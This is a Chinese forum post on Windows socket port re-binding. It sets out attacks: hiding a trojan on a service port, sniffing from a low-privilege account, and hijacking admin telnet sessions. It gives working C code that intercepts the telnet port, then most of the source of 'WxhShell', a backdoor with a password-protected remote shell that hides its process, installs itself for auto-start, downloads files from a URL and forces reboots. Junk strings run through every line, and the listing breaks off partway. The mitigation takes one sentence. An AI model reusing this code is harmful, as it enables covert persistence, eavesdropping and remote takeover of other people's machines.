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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =gL~E9\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1xAZ0X#  
:y#KR\T1  
  saddr.sin_family = AF_INET; <7Igd6u  
agdiJ-lyQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kH$)0nK  
N]qX^RSb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $42%H#  
CtItzp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pI*/ - !I  
MHZ!noAr  
  这意味着什么?意味着可以进行如下的攻击: an!ceB  
;`ZGiax  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Id-?her>B  
DSiI%_[Ud  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <tp\+v! u  
=fy~-FN_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3e~X`K1Q<  
96M?tTa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %heX06  
[;O 6)W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ji %6/zV  
'uAH, .B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i&KD)&9b#  
z=q   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qgTN %%"~  
>9KQWeD  
  #include k8]=5C?k  
  #include f{_K%0*  
  #include T^'NC8v  
  #include    #N"zTW%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]u~6fknm  
  int main() 6uWzv~!*D  
  { -8F~Tffx  
  WORD wVersionRequested; }*0OLUFFJ  
  DWORD ret; }M%U}k]+@  
  WSADATA wsaData; p_z_d6?  
  BOOL val; ;Kb]v\C:  
  SOCKADDR_IN saddr; ^'"sFEV7RN  
  SOCKADDR_IN scaddr; WR;"^<i9  
  int err; LeY!A#j  
  SOCKET s;  &gIDcZ  
  SOCKET sc; f#9DU}2m  
  int caddsize; \gd.Bl  
  HANDLE mt; _Se~bkw?v  
  DWORD tid;   -t28"jyj  
  wVersionRequested = MAKEWORD( 2, 2 ); etbB;!6  
  err = WSAStartup( wVersionRequested, &wsaData ); ~c8Z9[QW  
  if ( err != 0 ) { Y>eypfK"  
  printf("error!WSAStartup failed!\n"); K]q9wR'q  
  return -1; _VIVZ2mU=  
  } ?V|t7^+:  
  saddr.sin_family = AF_INET; k:D;C3vJd  
   q!l[^t|;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ==d@0`  
G[U'-a}I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Vj.5b0/(  
  saddr.sin_port = htons(23); O{" A3f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ((Bu Bu>  
  { nx<q]J uv\  
  printf("error!socket failed!\n"); !Pmv  
  return -1; )KvQaC  
  } "DV.%7*^  
  val = TRUE; Umwd <o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3e)3t`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v6{qKpU#  
  { UnjUA!v  
  printf("error!setsockopt failed!\n"); I<Vh Eo,  
  return -1; -QaS/WO_  
  } y@!kp*0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E3N4(V\*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HRF4 Ro  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #^IEQZgH  
mtEE,O!+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8YI.f  
  { ,^JP0Vc*  
  ret=GetLastError(); 7 R1;'/;  
  printf("error!bind failed!\n"); Z4#lZS`'A  
  return -1; /uSEG<D  
  } 'WH@Zk/l  
  listen(s,2); M5OH-'  
  while(1) @Bfwb?&  
  { }<Y3 jQnl  
  caddsize = sizeof(scaddr); AuZ?~I1  
  //接受连接请求 n*\AB=|X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :z=/z!5:j  
  if(sc!=INVALID_SOCKET) 4i'2~w{/  
  { a.F6!?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /wIev1Z!Y  
  if(mt==NULL) )4[{+OJa  
  { C._I\:G^  
  printf("Thread Creat Failed!\n"); 3mWd?!+m=  
  break; #mqz*=L3  
  } ~g2ColFhu  
  } 7{oG4X!  
  CloseHandle(mt); |L{<=NNs:D  
  } GXaCH))TO  
  closesocket(s); htg+V-,  
  WSACleanup(); !:3NPjhf1Y  
  return 0; *(&,&$1K  
  }   A0*u(15%  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]2Aqqy  
  { ;F@dN,Y  
  SOCKET ss = (SOCKET)lpParam; |N[SCk>Kj  
  SOCKET sc; &o/&T{t}  
  unsigned char buf[4096]; 1 sCF -r  
  SOCKADDR_IN saddr; CORNN8=k  
  long num; !ViHC}:   
  DWORD val; DvnK_Q!  
  DWORD ret; kKVq,41'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XQ:HH 8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;2RCgX!'%  
  saddr.sin_family = AF_INET; Nzc1)t=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z2 B59,I  
  saddr.sin_port = htons(23); LV=!nF0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d87pQ3e:&  
  { ^r=#HQGt  
  printf("error!socket failed!\n"); D@H'8C\  
  return -1; Y=/3_[G   
  } FK!9to>  
  val = 100; NXDV3MH=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %V;k/w~[  
  { &..![,)w^!  
  ret = GetLastError(); NWB/N*  
  return -1; /B!"\0G/,  
  } hMw}[6m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nZQZ!Vfj  
  { wP/rR D6  
  ret = GetLastError(); &K k+RHM  
  return -1; ,K7C2PV6  
  } yo V"?W>!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GMOv$Tn-_L  
  {  ]\P  
  printf("error!socket connect failed!\n"); ?"AcK" v  
  closesocket(sc); a(Z" }m  
  closesocket(ss); K@*m6)  
  return -1; 'rf='Y  
  } 3uRnbO-  
  while(1) > ^3xBI:Q  
  { |6\ ?"#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _}Jz_RS2`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Yl1@ gw7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zEY Ey1  
  num = recv(ss,buf,4096,0); >T~{_|N  
  if(num>0) l;Zc[6  
  send(sc,buf,num,0); CT4R/wzY7  
  else if(num==0) +C\?G/  
  break; KnZm(c9+  
  num = recv(sc,buf,4096,0); pM[UC{  
  if(num>0) F5L/7j<}  
  send(ss,buf,num,0); OR&+`P"-\  
  else if(num==0) wlKpHd*  
  break; @tjC{?5Y  
  } Iu0K#.s_  
  closesocket(ss); LEVNywk[  
  closesocket(sc);  wb4 4  
  return 0 ; ZH:#~Zyj  
  } hU G Iy(  
G`|mP:T:o  
KUH&_yCRB  
========================================================== +cy(}Vp  
h.'h L  
下边附上一个代码,,WXhSHELL xKsn);].`  
O0b8wpF f  
========================================================== K r]!BI?z  
 =sG(l  
#include "stdafx.h" 3 ;.{ O%bX  
Jc9SHCJ  
#include <stdio.h> #_7}O0?c3  
#include <string.h> {yVi/*;f^  
#include <windows.h> D (qT$#  
#include <winsock2.h> X+ iA"B  
#include <winsvc.h> f$V']dOj1q  
#include <urlmon.h> ZWf{!L,@Z  
o?{VGJH<v  
#pragma comment (lib, "Ws2_32.lib") >&?wo{b  
#pragma comment (lib, "urlmon.lib") [4xN:i  
WKxJ`r\  
#define MAX_USER   100 // 最大客户端连接数 0e vxRcrzz  
#define BUF_SOCK   200 // sock buffer ?WUE+(oH>  
#define KEY_BUFF   255 // 输入 buffer `j=CzZ*em?  
C<w9f  
#define REBOOT     0   // 重启 +$},Hu69j  
#define SHUTDOWN   1   // 关机 " I`YJEv  
_Zf1=& U#/  
#define DEF_PORT   5000 // 监听端口 8Yq6I>@!  
1ygu>sKS&A  
#define REG_LEN     16   // 注册表键长度 m U7Ad"  
#define SVC_LEN     80   // NT服务名长度 "c\T  
HEe0dqG  
// 从dll定义API nk-6W4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eMz,DYa/G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MzK&Jh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vg[U4,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9lTA/-  
7Ox vq^[  
// wxhshell配置信息 Mm.!$uR  
struct WSCFG { }aX).u  
  int ws_port;         // 监听端口 yJb;V#  
  char ws_passstr[REG_LEN]; // 口令 FLy|+4D_%4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,  PN?_N  
  char ws_regname[REG_LEN]; // 注册表键名 103^\Av8  
  char ws_svcname[REG_LEN]; // 服务名 k )){1O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zP=J5qOZ8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bk4%lYJ"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $8i t&/JP,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f"Iv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M;Vx[s,#,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \mc~w4B[)3  
&5d>jEaB}  
}; H`@x5RjS   
"t_]Qu6  
// default Wxhshell configuration hr6f}2  
struct WSCFG wscfg={DEF_PORT, toIljca  
    "xuhuanlingzhe", uF(- h~  
    1, pM VeUK?  
    "Wxhshell", ;yk@`<  
    "Wxhshell", $g|g}>Sc  
            "WxhShell Service", QT%&vq  
    "Wrsky Windows CmdShell Service", IHagRldG  
    "Please Input Your Password: ", W=)}=^N0  
  1, m5d;lrk@&/  
  "http://www.wrsky.com/wxhshell.exe", ~=c^ Oo:  
  "Wxhshell.exe" 7%w4?Nv3I  
    };  m?B@VDZ  
?+Qbr$]  
// 消息定义模块 (x=NA )  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mu:*(P/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #lVVSrF,-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OH=Ffy F,  
char *msg_ws_ext="\n\rExit."; PwDQ<   
char *msg_ws_end="\n\rQuit."; qVM]$V#e  
char *msg_ws_boot="\n\rReboot..."; $<33E e:a  
char *msg_ws_poff="\n\rShutdown..."; Uc9Uj  
char *msg_ws_down="\n\rSave to "; 6K<vyr40  
\-sD RW  
char *msg_ws_err="\n\rErr!"; <<;j=Yy({`  
char *msg_ws_ok="\n\rOK!"; kc "U)>  
o-)E_X  
char ExeFile[MAX_PATH]; QCtG #/  
int nUser = 0; 3{$c b"5  
HANDLE handles[MAX_USER]; [;.zl1S<  
int OsIsNt; hR{Fn L  
|`O7> (h  
SERVICE_STATUS       serviceStatus; <w,aS;v6jp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sk],_l<  
+p43d:[  
// 函数声明 jliKMd<?  
int Install(void); %HSoQ?qA  
int Uninstall(void); oEi +S)_  
int DownloadFile(char *sURL, SOCKET wsh); `,7BU??+u  
int Boot(int flag); $!fz87-p>  
void HideProc(void); U\b,W&%P  
int GetOsVer(void); a{u)~:/G  
int Wxhshell(SOCKET wsl); E26ZVFg  
void TalkWithClient(void *cs); ;CU3CLn  
int CmdShell(SOCKET sock); da 2BQ;  
int StartFromService(void); EIf~>AI  
int StartWxhshell(LPSTR lpCmdLine); Crey}A/N  
Wxg|jP$~   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *?i~AXJm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^Nc\D7( l  
Y*7.3 +#  
// 数据结构和表定义  kU#$  
SERVICE_TABLE_ENTRY DispatchTable[] = U1&m-K  
{ f:HRrKf9  
{wscfg.ws_svcname, NTServiceMain}, (2a~gQGD  
{NULL, NULL} 2=U4'C4#  
}; F!Nx^M1  
7qnw.7p  
// 自我安装 < Gu s9^_  
int Install(void) `@Qq<T}V  
{ GadD*psD2  
  char svExeFile[MAX_PATH]; .-<o[(s  
  HKEY key; &{7%Vs TB  
  strcpy(svExeFile,ExeFile); X+hyUz(%R  
i*F^;-q)  
// 如果是win9x系统,修改注册表设为自启动 %3~jg  
if(!OsIsNt) { ==Y^~ab;K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O*c +TiTb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XV!P8n  
  RegCloseKey(key); .+ _x|?'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EpPKo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n.Ekpq\  
  RegCloseKey(key); i5:fn@&  
  return 0; m:K/ )v*  
    } y5oiH  
  } Knn$<!>  
} ek3/`]V:  
else { z i<C 5E`  
rw58bkh6  
// 如果是NT以上系统,安装为系统服务 QDLtilf :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hXZk$a'  
if (schSCManager!=0) tX6n~NJ$  
{ ]BX|G`CCc  
  SC_HANDLE schService = CreateService hoPCbjkov  
  ( d)9=hp;,V  
  schSCManager, 91[(K'=&  
  wscfg.ws_svcname, z${DW@o3  
  wscfg.ws_svcdisp, i?||R|>;"'  
  SERVICE_ALL_ACCESS, PYW~x@]k%,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $FS j^v]  
  SERVICE_AUTO_START, _sx]`3/86  
  SERVICE_ERROR_NORMAL, .y|*  
  svExeFile, !$Nh:(>:  
  NULL, 1XL^Zhr  
  NULL, G4]T  
  NULL, rVkRU5  
  NULL, ZC@Pfba[`  
  NULL _-^a8F>/19  
  ); f D2. Zh  
  if (schService!=0) +<&_1% 5+  
  { O_*%_S}F&  
  CloseServiceHandle(schService); <Zn]L:  
  CloseServiceHandle(schSCManager); N-y[2]J90  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ={B%qq  
  strcat(svExeFile,wscfg.ws_svcname); 1F{c5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /*i[MB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6 -N 442  
  RegCloseKey(key); Y2W|b5  
  return 0; xo a1='  
    } +9<"Y6  
  } Jx!#y A;  
  CloseServiceHandle(schSCManager); yX0n yhq  
} `zw XfY,%  
} pE,2pT2>  
=+DfIO  
return 1; 2Jo|]>nl}u  
} n 9PYZxy  
g]vo."}5E  
// 自我卸载 u%!/-&?wF  
int Uninstall(void) tp*.'p-SI  
{ #oW" 3L{,  
  HKEY key; +saXN6  
g[';1}/B4  
if(!OsIsNt) { 1o`zAJ8|2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \2)D  
  RegDeleteValue(key,wscfg.ws_regname); Bs)'Gk`1  
  RegCloseKey(key); z?dd5.k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cD6S;PSg  
  RegDeleteValue(key,wscfg.ws_regname); p>_Qns7W  
  RegCloseKey(key); 0v+ -yEkw  
  return 0; }C4wED.  
  } _Z7`tUS-j  
} ,_iq$I;  
} ~-R%m  
else { ~jC+6v  
3{$vN).  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^G|* =~_  
if (schSCManager!=0) V56WgOBxz  
{ I+=+ ,iXhB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &^2SdF  
  if (schService!=0) E75/EQ5p]p  
  { *4/FN TC  
  if(DeleteService(schService)!=0) { e,N}z  
  CloseServiceHandle(schService); J 2<kOXXJ9  
  CloseServiceHandle(schSCManager); :of(wZa3Q  
  return 0; Hz\@#   
  } m/z,MT74*J  
  CloseServiceHandle(schService); w 5 yOSz  
  } u 3^pQ6Q  
  CloseServiceHandle(schSCManager); b9-IrR4h  
} nr2 Q[9~  
} _Jy7` 4B.  
a`L:E'|B9  
return 1; m9vX8;.  
} eU\xOTl~<{  
_ f'v>"K  
// 从指定url下载文件 sUF9_W5z  
int DownloadFile(char *sURL, SOCKET wsh) >H^#!eaqw  
{ e2f+Fv 9  
  HRESULT hr; {`QA.he.  
char seps[]= "/"; W1 k]P.  
char *token; )adV`V%=>  
char *file; [Ur\^wS  
char myURL[MAX_PATH]; Y{D%v  
char myFILE[MAX_PATH]; ~w a6S?  
Q F)\\ D[  
strcpy(myURL,sURL); @/F61Ut  
  token=strtok(myURL,seps); f(Y_<%  
  while(token!=NULL) /a'1 W/^2  
  { N0H=;CIQ  
    file=token; V"m S$MN  
  token=strtok(NULL,seps); &\1n=y  
  } Jy5sZ }t[  
N+'j on}U  
GetCurrentDirectory(MAX_PATH,myFILE); _ Ao$)Gu)  
strcat(myFILE, "\\"); l|=4FIMD  
strcat(myFILE, file); sxsb)a  
  send(wsh,myFILE,strlen(myFILE),0); zw[' hqW  
send(wsh,"...",3,0); f. "\~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xNzGp5H  
  if(hr==S_OK) Nai5!_'  
return 0; ?u|@,tQ[  
else 4qE95THB  
return 1; <q8@a0e@  
TjyL])$  
} 8 q@Z  
pZ& ,YX  
// 系统电源模块 &'SD1m1P  
int Boot(int flag) 4b:|>Z-  
{ PVsKI<  
  HANDLE hToken; #,%7tXOLR  
  TOKEN_PRIVILEGES tkp; R|C 2O[r}  
U}LW8886  
  if(OsIsNt) { =eDIvNps  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =5q<_as  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lG}#K^q  
    tkp.PrivilegeCount = 1; ]3rVULU"K-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Iko]c_W0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LWyr  
if(flag==REBOOT) { g w" \pD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N-gYamlQ  
  return 0; u.|Z3=?VG  
} F!]Sr'UA  
else { Ot2o=^Ng  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) } o%^ Mu B  
  return 0; L5-|-PP|;  
} MKl0 d  
  } _!nsEG VV  
  else { q`VL i  
if(flag==REBOOT) { WwDM^}e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3 r&  
  return 0; O$<>v\NC?  
} :OG I|[  
else { %GHGd'KO&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T#) )_aC  
  return 0; Y()" 2CCV  
} f8Iddm#  
} '+`[)w  
c+ oi8G  
return 1; =V[uXm  
} VPe0\?!d  
FEaT}/h;  
// win9x进程隐藏模块 =l/6-j^  
void HideProc(void) # z|Q $  
{ l3>S{  
\84t\jKR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9;E=w+  
  if ( hKernel != NULL ) q,vWu(.  
  { uM-,}7f7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XBQt:7[<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yc:%2KZ"  
    FreeLibrary(hKernel); ^7-zwl(>?N  
  } CL|/I:%0  
c$O8Rhx  
return; ,o& C"sb  
} S#7YJ7 K"N  
MUO<o  
// 获取操作系统版本 \$ytmtf5  
int GetOsVer(void) <$A,Ex94  
{ c0qp-=^&.  
  OSVERSIONINFO winfo; fpD$%.y'J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5 4gr'qvr  
  GetVersionEx(&winfo); -U d^\Yy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o~Se[p  
  return 1; tyu@ a CK  
  else 9R50,l sE  
  return 0; S<tw5!tJ  
} M+)a6ge  
1( pHC  
// 客户端句柄模块 Wg']a/m  
int Wxhshell(SOCKET wsl) J ^'El^F  
{ Zxa.x?:?n  
  SOCKET wsh; Zh"m;l/]  
  struct sockaddr_in client; [#PE'i4  
  DWORD myID; @ZjT_  
lQn" 6o1  
  while(nUser<MAX_USER) U2q6^z4l  
{ Xz$4cI#n:  
  int nSize=sizeof(client); g.lTNQm$u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *'%V}R[>  
  if(wsh==INVALID_SOCKET) return 1; &Y]':gJ  
+y GQt3U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,T$ts  
if(handles[nUser]==0) qJhsMo2IH  
  closesocket(wsh); j~CnMKN  
else (|gQ i{8  
  nUser++; )@PnpC%H  
  } L, JQ\!c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =!q% 1mP  
|>.Q U3  
  return 0; oQ$yr^M  
} bSB%hFp=Cp  
SmRlZ!%e  
// 关闭 socket XYEwn_Y  
void CloseIt(SOCKET wsh) IG781:,/  
{ !wAT`0<94F  
closesocket(wsh); +r:g}iR  
nUser--; iUx\3d,  
ExitThread(0); .tngN<f  
} ~zVxprEf_  
GG} %  
// 客户端请求句柄 p_FM 2K7!  
void TalkWithClient(void *cs) nhV"V`|d  
{ wQ}r/2n|^  
RBX<>*  
  SOCKET wsh=(SOCKET)cs; .E4* >@M5  
  char pwd[SVC_LEN]; E5k)~P`|  
  char cmd[KEY_BUFF]; z _!ut  
char chr[1]; TdtV (  
int i,j; swKkY`g  
+v Bi7#&  
  while (nUser < MAX_USER) { ^Q6J$"Tj  
\Wbmmd}8  
if(wscfg.ws_passstr) { TT$A o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ys[Li.s:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }F`|_8L*v)  
  //ZeroMemory(pwd,KEY_BUFF); oMh$:jR$  
      i=0; 0RUk^  
  while(i<SVC_LEN) { $|K d<wv  
aeqz~z2~8s  
  // 设置超时 VYvfx  
  fd_set FdRead; K_7pr~D]@r  
  struct timeval TimeOut; 3EoCEPb#  
  FD_ZERO(&FdRead); 9t`;~)o  
  FD_SET(wsh,&FdRead); $TQhr#C]  
  TimeOut.tv_sec=8; &!!*xv-z  
  TimeOut.tv_usec=0; 5>k:PKHL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @u~S!(7.Wi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); baxZ>KNi  
)*')  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I>c,Bo7  
  pwd=chr[0]; \2SbW7"/;P  
  if(chr[0]==0xd || chr[0]==0xa) { m'4f'tbN  
  pwd=0; rzjVUPdnh  
  break; c_lHj#A(l  
  } )>volP  
  i++; lj4Fg*/Yn  
    } Zt=|q$"  
Q&9 yrx.  
  // 如果是非法用户,关闭 socket P7x;G5'.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3h:j.8Z  
} =ily=j"hK  
20:F$d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lvk}%,S8t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mx c)Wm<4  
Q7%4`_$!  
while(1) { b 2gng}  
h Yu6PWK  
  ZeroMemory(cmd,KEY_BUFF); Z;0~f<e%  
X{9^$/XsJ  
      // 自动支持客户端 telnet标准   q z)2a2C  
  j=0; a#oROb-*~  
  while(j<KEY_BUFF) { +v~x gUs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i"{O~[  
  cmd[j]=chr[0]; e#Tv5O  
  if(chr[0]==0xa || chr[0]==0xd) { +pofN-*%  
  cmd[j]=0; >{#JIG.  
  break; %#6@PQ[R.  
  } fF Q|dE;cF  
  j++; TlG>)Z@/  
    } "oP^2|${  
z;OYPGvkw  
  // 下载文件  Rr) 5 [  
  if(strstr(cmd,"http://")) { B2`S0 H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `lf_wB+I  
  if(DownloadFile(cmd,wsh)) -,bFGTvYQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tC[ZWL  
  else X.]I4O&_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H]TdW;ZbZ  
  } )G[byBa  
  else { % rBz A<  
1S{Biqi+  
    switch(cmd[0]) { ofvR0yV  
  UwN Vvo  
  // 帮助 `L1,JE` q  
  case '?': { P_bB{~$4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z8kO)'  
    break; 3%WB?k c  
  } ]5%0EE64  
  // 安装 sdp&D@  
  case 'i': { 2e48L677-  
    if(Install()) d;i|s[6ds`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A5l Cc b  
    else 7ZcF0h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 ZdB6U0  
    break; %6K7uvTq  
    } t)SZ2G1r  
  // 卸载 |IxHtg3>6{  
  case 'r': { OL'Ito  
    if(Uninstall()) GgO5=|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -D^I;[j_  
    else  hfB$4s9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Jr1K,  
    break; &L|oqXE0L  
    } q'3{M]Tk  
  // 显示 wxhshell 所在路径 mz?<t/$U  
  case 'p': { So%X(, |  
    char svExeFile[MAX_PATH]; fN vQ.;  
    strcpy(svExeFile,"\n\r"); RTtKf i}  
      strcat(svExeFile,ExeFile); =lacfPS  
        send(wsh,svExeFile,strlen(svExeFile),0); r>mBe;[TX  
    break; Q*M#e  
    } _3IT3mb2n  
  // 重启 Vaxg   
  case 'b': { !-I,Dh-A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DE13x *2  
    if(Boot(REBOOT)) I8#2+$Be+@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4jT6h9%  
    else { /2^L;#  
    closesocket(wsh); "2%z;!U1  
    ExitThread(0); ?0qVyK_1  
    } s 6Wp"V(  
    break; vHaM yA-  
    } Bfb~<rs[  
  // 关机 ct+F\:e  
  case 'd': { $QbJT`,mr  
